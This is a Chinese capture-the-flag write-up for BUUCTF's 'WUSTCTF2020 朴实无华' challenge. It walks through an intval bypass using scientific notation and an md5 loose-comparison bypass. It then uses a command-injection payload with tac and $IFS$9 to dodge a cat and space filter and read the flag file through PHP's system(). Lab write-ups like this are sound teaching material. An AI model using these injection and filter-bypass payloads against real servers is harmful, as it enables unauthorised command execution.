打开题目

查看一下robots.txt,看一下爬虫规则

打开看看

按f12,查看消息头,有个tips,/fl4g.php

打开后看到一串代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧

首先是intval函数绕过,GET接收num参数,num要小于2020,加1后要大于2021。

if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好

我们使用的是科学计数法来进行绕过intval函数

当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过  //11e3代表11000

/fl4g.php/?num=11e3

成功绕过,进入下一关md5绕过

if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}

两个等于,这里使用的是md5弱比较,只要找到一个值的MD5值等于他本身即可完成绕过,这里我使用0e2159620

/fl4g.php/?num=11e3&md5=0e215962017

最后一关getflag

//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>

GET传参get_flag,然后get_flag参数里不能有空格,同时会将cat转化为wctf2020,说明我们不能单纯使用cat得到flag,得进行绕过

这里的空格的话可以用$IFS$9

尝试着查看上级目录

/fl4g.php/?num=11e3&md5=0e215962017&get_flag=ls

然后这里使用代替cat的是tac,tac是按行倒着显示,最后一行显示在最上面,然后使用$IFS$9来替代空格

构造payload;

/fl4g.php?num=11e3&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag

flag{cc92aa3e-626e-4d8b-9fa6-94f7f041c0ef}

buuctf 朴实无华相关推荐

  1. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  2. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  3. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  4. 『数据库』朴实无华且枯燥的数据库文章--关系数据理论

    『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 问题的提出 规范化 数据依赖的公理系统 模式的分解 小结 问题的提出 一.概念回顾 关系:描述实体.属性.实体间的联 ...

  5. 『数据库』朴实无华的数据库多表查询,连接查询、笛卡尔积

    『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 一.交 二.并 三.差 四.笛卡尔积 五.连接查询 一.交 (会用到连接运算,固定写法,连接运算在下面不用着急看) ...

  6. 『数据库』朴实无华的数据库绪论

    『数据库』 朴实无华且枯燥的数据库教程–入门必看!(不收藏,真的吃亏了) 文章目录 数据库系统概述 数据模型 概念模型 数据库系统结构 数据库系统的组成 数据库系统概述 一.四个基本概念 1.数据(D ...

  7. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  8. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  9. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

最新文章

  1. 商汤涨涨涨涨:上市4日股价累涨130%,市值一度3000亿港元
  2. samba linux文件服务器 changepassword + httpd 实现用户web自行修改密码
  3. 浅谈文献总结(2018.9.28)——坚恒勇毅论文课笔记
  4. 蓝桥杯C++ AB组辅导课 第一讲 递归与递推 Acwing
  5. 【杭州】Hack for Cloud Beginner微软黑客松大赛
  6. putty如何登陆oracle,利用putty的SSH tunnel连接Oracle
  7. go语言 gosched
  8. win7中配置iis
  9. 绕过模拟器检测_用模拟器玩刺激战场体验差?这样设置轻松吃鸡
  10. java 开发小记:如何使用 MyEclipse 开发自己的类库(mylib.jar)以及引用(使用)她...
  11. python文件的路径_python3 文件及文件夹路径相关
  12. 全网最全Java微服务面试题总结(SpringCloud+Spring Boot)
  13. mysql左右匹配原则的用法和理解
  14. 软件构件技术期末复习
  15. SVN中删除彻底删除某一个版本
  16. python按照号段生成手机号接收验证码_django 发送手机验证码的示例代码
  17. Altium Designer (AD)安装教程
  18. 为什么这么多人说 IDEA 比 Eclipse 更好?
  19. redis高并发之秒杀活动解决方案
  20. 智能控制器,智能终端的“大脑” 要求升级,挑战即是机遇

热门文章

  1. 【翻译】和麻美学姐一起的世界树(マミさんと世界樹スレ)第四话
  2. mysql 创建数据库utf_mysql创建数据库utf
  3. ​【HZNUOJ】【C系列1.1】她的过去 1927​
  4. RK3399 Android7.1进入烧录模式的几种方法
  5. C++语言的define用法
  6. 成功解决urllib.error.HTTPError: HTTP Error 403: Forbidden
  7. mysql主从复制维护_MySQL主从复制详解
  8. 使用端点中心进行补丁管理
  9. 前端自动化测试(一)
  10. SqlServer本地数据库迁移到服务器